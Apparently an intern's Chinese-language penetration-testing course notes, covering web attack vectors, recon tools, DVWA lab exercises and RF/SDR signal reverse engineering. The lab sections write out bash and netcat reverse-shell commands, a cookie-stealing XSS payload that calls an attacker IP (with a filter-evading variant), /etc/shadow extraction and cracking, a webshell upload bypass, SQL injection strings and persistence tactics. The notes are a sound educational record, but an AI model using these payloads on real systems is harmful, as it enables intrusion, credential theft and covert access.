實習筆記-滲透測試課程
課程內容:
1 | - Web基本知識 |
PT(滲透測試) vs RT(紅隊演練)
- PT:範圍較小,且無法針對社交工程 ex.某個網頁
- RT:範圍較大 ex.整個公司
黑箱:最貼近真實情境
白箱:盡可能提供相關資訊給受測者
灰箱:黑白箱混和,會提供自我宣告表以後再給受測者測試
滲透測試流程:
- 資料蒐集
- 透洞掃描
- 漏洞利用
白帽:- 漏洞回報
黑帽: - 提權限
- 持續性存取
- 防禦逃脫(逃脫會叫的那種警報器)
- 資料攜出(把DB分批攜出)
- 漏洞回報
IOT的攻擊向量(Attack Vector)
- Hardware:Physical Interface
給開發人員使用,出廠後並未關掉,若能訪問到該接口通常都能直接取得root,通常底層皆為明文傳輸- 設備外殼並未提供保護機制
- 底層使用明文傳輸
- 毛刺攻擊(Glitching):用微小的電壓,去擾動硬體設備
- 測信到攻擊(Side Channel Attack):加密晶片,可以去量測他的電壓、音頻…,用這些東西去分析加密的方式、Key等等
- 韌體(Firmware):Hardcode, Enc key, exploit
- 軟體/韌體未進行加密
- 有敏感資料
- Software:Andriod app
- Radio:Cellular, WiFi, 蜂窩網路
- 無線通訊未加密可進行嗅探(Sniffer)
- 干擾攻擊(Jamming)
- 重放攻擊
- 模糊攻擊(fuzz):需先擬向工程才能fuzz
- 通訊協定:最麻煩,需要原廠處理
- Cloud:
- API攻擊
- 注入攻擊
- 身分認證/授權機制
- 邏輯漏洞
- web漏洞
網頁的攻擊向量
Web1.0
- 布告欄的概念
- 只有靜態網頁
Web2.0
- 可讀寫,多功能的動態頁面
- 應用程序
- DB(個資)
- API
- 不同用戶會有不同的頁面
Web3.0
- 去中心化(資料分散放)
HTTP
- 由Request/Response組成
- 由於HTTP屬於無狀態,因此需依賴cookie機制來記錄user資訊與time
- 狀態碼
攻擊標的
- 使用者身分
- 認證
- 權限劃分
- Session
ex.HTTP封包格式皆相同,該基站
- 輸入輸出:
- Sql Injection
- Command Injection
- 需經過正規化處理
- 開發者需要設定確定的字元
ex. 數字欄位填中文或英文
- 程式邏輯
常用工具:
Information Gathering:分為主動、被動
主動資訊蒐集
- nmap主動蒐集目標資訊:掃描目標主機port
- Nikto開源的網站弱點掃描工具:自帶在Kali內
- Dirb暴力枚舉網頁下的目錄與檔案
1
2
3
4dirb url
#去看網頁內存不存在敏感資料
#有可能可以掃出使用者的路徑
#如果有開阿帕契作為中繼站,能掃出來
- nmap主動蒐集目標資訊:掃描目標主機port
被動資訊蒐集
用被動資料(IP、姓名、生日..)來描述目標
不與目標直接接觸,避免留下痕跡
SHODAN
- 可以掃描世界上所有的物聯網設備
- 主機
- 開啟端口
- 是否有已知漏洞
- 可使用下方關鍵字搜尋:
- hostname:搜尋指定的主機或域名,例如 hostname:”google”
- port:搜尋指定的埠或服務,例如 port:”21”
- country:搜尋指定的國家,例如 country:”CN”
- city:搜尋指定的城市,例如 city:”Hefei”
- org:搜尋指定的組織或公司,例如 org:”google”
- isp:搜尋指定的ISP供應商,例如 isp:”China Telecom”
- product:搜尋指定的作業系統/軟體/平臺,例如 product:”Apache httpd”
- version:搜尋指定的軟體版本,例如 version:”1.6.2”
- geo:搜尋指定的地理位置,引數為經緯度,例如 geo:”31.8639, 117.2808”
- before/after:搜尋指定收錄時間前後的資料,格式為dd-mm-yy,例如 before:”11-11-15”
- net:搜尋指定的IP地址或子網,例如net:”210.45.240.0/24”
- 參考:
Google Hacking
- 用Google Search針對目標進行情報搜尋
- 用”site:”去搜尋
過濾封包
- Burp Suite
使用方法:
使用Kali 開啟Burp Site
開啟proxy 表示之後所有流量都會經過burp
<之前的版本需要簽憑證>
使用Proxy開啟browser
進到project option>MIST>勾選Enable
就可以繼續使用proxy
將IPor網址執行於瀏覽器中,封包就會被攔截進brower
- Burp Suite
暴力破解
不同的Attack type有不同模式
sniper:針對字典中設定的值交替順序測試
將存取內容傳到Repeater確認回應結果
Command Injection
因為沒有針對用戶輸入進行過濾,因此會造成機敏資料外洩、等問題
Linux command
Column 1 | Column 2 |
---|---|
; or & | 不管第一次執行的指令是否成功皆會執行第二個 |
&& | 第一個指令失敗不會執行下一個 |
I(槓槓符號) | 會把前一個指令的輸出當作下一個指令的輸入 |
II(槓槓符號) | 會把前一個指令的輸出當作下一個指令的輸入 |
DVWA
1.Enter IP to get shell
可使用command加入一些linux指令
cat去撈 /etc/shadow
ls -al 查看檔案權限
ls -al | grep shadow
linux
/etc/passwd linux以前會把所有帳密放在裡面
/etc/shadow 現在linux會將它分開
Reverse shell
受害者的機器自行連回攻擊者的機器(出來比進去簡單)
Bash
- Victim: bash -i >& /dev/tcp/ip/port 0>&1
- Attacker:nc -nvlp port
Netcat
- Victim:nc ip port -e /bin/bash
- Attacker:nc -nvlp port
john the ripper暴力破解
可以參考Linux 的 /etc/shadow 檔案結構
https://blog.gtwang.org/linux/linux-etc-shadow-file-format/
xdg-open >> 呈現file讓你可以直接開啟文件
破解liunx root密碼
將passwd和shadow合併 寫入crack中
1 | unshadow passwd shadow > crack |
使用john來破解密碼
破解Window root密碼
SAM file
NTLM hash
Net-NTLM 網路上做金鑰交換的地方
CVE Details
可以去追蹤
不會有要怎麼利用該漏洞的程式碼
Expoitdb
可以追蹤漏洞
remote code execution(RCE)遠程代碼執行漏洞
Metasploit
https://ithelp.ithome.com.tw/articles/10224527
1 | msfconsole |
靶機測試(192.168.5.107)
NET config
網路要使用橋接介面卡
<資料蒐集>先測試受害機的port有什麼是開啟的
使用nmap查看已開啟的port
可以查看bin裡面有什麼command可以使用<利用弱點>登入
使用SQL Injection去登入使用受害者電腦連回攻擊者電腦
可使用下方這兩個去
- bash
- netcat
<資料蒐集>蒐集受害者電腦資訊
1
2
3whoami
uname-a
lsb_release -a<弱點掃描>使用exploitsdb查詢漏洞
在本地電腦開啟apache服務
開啟畫面如下
將需要的檔案放進apache資料夾中,使得之後受害電腦可以下載apache中的資料
<利用漏洞>在受害者電腦中下載漏洞檔案
使用pwd確認位址指向tmp
(由於權限不足因此需要找一個當前權限可以讀寫的位址)
使用wget下載本機開啟的apache
確認權限
File Upload
使用weevely生成backdoor.php
將檔案上傳回dvwa的網站
使用weevely連到該上傳路徑
1 | weevely http://IP/dvwa/hackable/uploads/backdoor.php pwd(密碼) |
查看開主機狀態
<中等難度>
前端會擋非image會擋
先將惡意檔案改成.jpeg
上傳該檔案,使用burp suite攔截封包,並將封包內檔名更改為php即可
LFI(Local File Inclusion)
本地文件包含漏洞(LFI)
敏感檔案:
- /etc/passwd
- /var/log/auth.log
- 紀錄哪些user連這台機器
- /var/log/apacke2/access.log/error.log
- 有出現過哪些錯誤訊息
- ../../../
- 可以去翻他有那些檔案
- %WINDIR%\win.ini
- win設定檔,可以看config
可以在?page=後面放入絕對路徑來查找資料
RFI(Remote File Inclusion)
有RFI漏洞
需要開啟funcion:
- allow_url_fopen
- allow_url_include
XSS
跨腳本攻擊(Cross Site Scripting)
攻擊對象為user端,非server端
漏洞利用條件
- 伺服器對用戶提交數據過濾不夠嚴謹
- 使用社交工程讓受害者點擊觸發
影響: - 重定向(掛馬)不應該被倒到的網站
- 盜取cookie
- 釣魚
類型: - 反射型:返回腳本並由user要去點擊才會中招
- 儲存型:js code 存在server端,不管user有沒有點擊,都會觸發。
下js code
1 | <script>alert("call 911")</script> |
1 | <script>alert(document.cookie)</script> |
從user那邊偷到訊息傳到攻擊者端
監聽80 port
輸入js code 連到攻擊者IP回傳cookie
1 | <script>new image().src="http://ip/output="+document.cookie;</script> |
<中等難度>
過濾掉script,則可以使用大小寫來混淆他
ex.
1 | <sCripT>new image().src="http://ip/output="+document.cookie;</sCripT> |
1 |
XSS stored
靶機測試2(192.168.0.182)
- 蒐集資料
使用dirb蒐集網頁資料
使用nmap -A 查看該主機有甚麼Port是開啟的
其中可以朝samba掃描/攻擊
(samba的洞挺多的)
開啟msfconsolse
Search samba漏洞
編譯漏洞腳本
執行漏洞腳本
(即可連進去取得root)
要怎麼維持連線程序????
越貼近使用者行為越好越難發現
1. 建一個新的帳號
2. 爆破它其他的帳號密碼
3. 塞一個服務 (但有可能會被AD斷掉)
4. 建一個連線回到自己主機 (但有可能會被AD斷掉)
How To Create a Sudo User in Linux?
https://www.digitalocean.com/community/tutorials/how-to-create-a-sudo-user-on-ubuntu-quickstart
CSRF
攔截修改密碼的頁面
複製封包的URI
執行URI即可更改密碼
將URI拿去縮短網址就能夠更加隱蔽
XSS+CSRF 組合技
1 | <script>new Image().src="更改密碼的URI"</script> |
- 反射型:點到這個圖片就會被更改
- 儲存型:登入後帶著cookie瀏覽到特定圖片就會被更改
SQL Injection(脫庫)
server端並未經過過濾使用輸入SQL語法進行解析並將結果返回
SQL基礎使用:
- Select DB
- Select table
- Select column
- Data
登入DB
1 | mysql -u root -h IP |
select
Information Schema
- Information_schema.schemata 所有db
- Information_schema.tables 所有table
- Information_schema.columns 所有的欄位
輸入1會產生ID1的資訊
因此可以使用select語法輸入所有的db
1 | 1 ' union select 1, schema_name from information_schema.schemata # |
1 | 1 ' union select 1, table_name from information_schema.tables # |
1 | 1 ' union select 1, table_name from information_schema.tables where table_name='dvwa'# |
好用資源
- Payload All The Things
https://github.com/swisskyrepo/PayloadsAllTheThings - GTFObins: 各種Reverse Shell
https://gtfobins.github.io/ - XSS Bypass Filter
https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
RF 滲透測試
安裝基本套件
1 | sudo apt-get install gnuradio |
開啟osmocom_fft
osmocom_fft
通訊概論
訊號:
- 類比訊號(陸譯:模擬訊號):根據震幅的改變而產生的訊號,可以用來乘載訊號
- 赫茲(Hz):每秒震盪幾次
- 數位訊號:表示為0or1,不是用來乘載訊息的
頻率:每秒震盪幾次,每秒周期數
頻寬:用來描述頻率的範圍,又稱為帶寬
fft 演算法:
- 中心頻率(Center Frequency):(f max + f min)/2
- 頻寬(Bandwideth, channel width): |f max- f min|
頻譜分配:
ISM頻段:
- 無需使用執照與向政府繳交費用
- 2.4GHz, 868Mhz
Sub -1G頻段:
- 小於1GHz的頻段被稱為Sub -1GHz
發收端:調變->訊息X載波=訊號
接收端:解調變
- 類比調變
- 頻率調變(FM):利用訊號頻率密度來表示
- 振幅調變(AM):利用訊號震幅高低表示
- 相位調變(PM):利用不同的相位(角度)來表示
- 數位調變
- 振幅偏移調變(ASK)
- 頻率偏移調變(FSK)
- 相位偏移調變(PSK)
- 正交分多工調變(OFDM) ex.WiFi
- 比較
單工:純接收、純發射
半雙工:接收發射同時間下能擇一 ex.無線電
雙工:同時間下能透發射&接收 ex.手機
電流:
導體上的電流 - 發射機(Tx) -> air interface -> 接收機(Rx) - 導體上的電流
Wireless IC Dongle
SDR Flatforms
Wireless IC Dongle VS SDR Flatforms
- Wireless IC Dongle:收到訊號以後,將已解調訊號傳至電腦
- SDR Flatforms:收到訊號以後,將未解調訊號傳至電腦
增益VS損耗
- 增益(Gain):輸出的訊號>輸入的訊號 ,根據質量守恆定理,訊號不會無緣無故變大,因此會經過電流加大訊號
- 損耗(Loss):輸入的訊號>輸出的訊號 ,透過發熱進行能量守恆的轉換
使用分貝當作比較的條件
採樣定理:
將一個類比訊號經過採樣轉換成一個數位訊號,需要用幾個點表示一個波?
<fs採樣率 f採樣頻率 B頻寬>
- 低通採樣定理:採樣率至少為採樣頻率的兩倍
fs = 2 x f - 帶通採樣定理:採樣率至少為頻寬的兩倍
fs = 2 x B
抽取(Decimation):降低採樣率
內插(Interpolation):提高採樣率
混疊現象(Aliasing Effect):會發生在訊號中心頻率+-採樣率的頻率
匹配:
- 射頻訊號 阻抗 50 Ω(Ohm)
- 視頻訊號 阻抗 75 Ω(Ohm)
- 匹配不良:射頻信號會有反射問題,嚴重的話可能會燒掉
1 | gnuradio-companion |
圖中每一個都是功能模組相連
NBFM Receive為解調訊號的Seceive,沒有它就不會work
開啟一個新的流程圖
File>New>WX GUI
區域介紹
RTL-SDR參數設定
可以更改變數,使所有和samp_rate之變數全部更改
將rtl收到的所有訊號存到file
給file_sink儲存的位址
1 | inspectrum <file> |
元件
有源:需要電源運作
無源:不須電源運作
放大器:
- 三種屬性:增益、噪聲係數、線性
- Gain:使用dB表示
- 噪聲係數:使用dB表示
- 線性:失真程度
- 三類:低噪音、高功率、其他
- 三種屬性:增益、噪聲係數、線性
天線
- 天線:接收訊號與發射訊號
- 全向天線:全樣都有
- 指向天線:只有一個角度
- 增益天線:捨去電磁場﹑非功率增益而是方向增益
- 主動天線:必含功率增益
- 頻率:決定天線的大小
- 傳播方向:決定天性的形狀
- 全向:全樣都有
- 指向:只有一個角度
- 功率:決定天線的大小
- 天線:接收訊號與發射訊號
濾波器
- 已”頻率”劃分不同訊號
- 頻率響應:超過他的憑率較果會下降
- 過濾你不要的頻率
- 已”頻率”劃分不同訊號
混頻器:
- 改變訊號頻率,但保持其他特性,也就是做調變的功能
- 通常混頻器後面會接一個濾波器
- 比較沒辦法數位化
振盪器:
- 比較沒辦法數位化
元件比較
元件溝通
發射機
接收機
逆向工程
流程:
- Find the signal
- Capture the signal
- Analyze the signal
Analyze the signal:
- 前導碼(Preamble):告訴雙方要準備連線了
- 常見的的:0xaaaa, 0x5555
- 同步碼(Sync Word):我現在開始要傳資料了喔!
- 堂見的:0xd391
FFT size:調整頻率軸縮放
Zoom:調整時間
Power Max:調整訊號顯示
Power Min:調整背景噪音顯示
調整Zoom & FFT size
讓紅線貼近訊號
可以看見下方的振幅(綠色的線)
urh 訊號分析
analysis
分析練習
Doorball練習
frequency 240~960MHz
modulation OOK(One of Key 是ASK的一種) or ASK
preamble size 0
preamble 0x55 or 0xaa
Sync size 32bits
Sync Word 0x80000000
Packet Structure:
Sync+(0x8eee8ee88eee888e888888e88)*39+0x8eee8ee88eee888e888888e8
了解封包結構以後,接下來就是可以去模擬一個類似的packet structure回傳給IOT裝置,如果原先的訊號沒有過濾需要的值,也就是說在Data的部分更改長度or更改內容,IOT會不會爆掉
PWM
- 高高低1
- 高低低0
- PWM 逼碼常與ASK進行調變
- bit rate= baud rate / 3 = symbol rate / 3
Manchester慢測試 - 高電壓到低電壓是0
- 低電壓到高電壓是1
- bit rate = baud rate / 2 = symbol /2
Unknow練習
Identify Application
- remote controlled car application
Identify Modulation Type
- ASK/OOK
Identify Preamble
- No
Identify Sync Word
- 4*W2 or W2都行
Identify Encoding
- NRZ (常與ASK做調變 but this case 例外)
Identify 4 Signal Function
- 上 w2x4 + w1x10
- 下 w2x4 + w1x40
- 右 w2x4 + w1x64
- 左 w2x4 + w1x58
Identify Packet Structure
apache2 server
Reference
https://ubuntu.com/tutorials/install-and-configure-apache#2-installing-apache
https://www.cyberciti.biz/faq/star-stop-restart-apache2-webserver/
- install
1
2sudo apt update
sudo apt install apache2 - start
1
# sudo /etc/init.d/apache2 start
- restart
1
# sudo /etc/init.d/apache2 restart
- stop
1
# sudo /etc/init.d/apache2 stop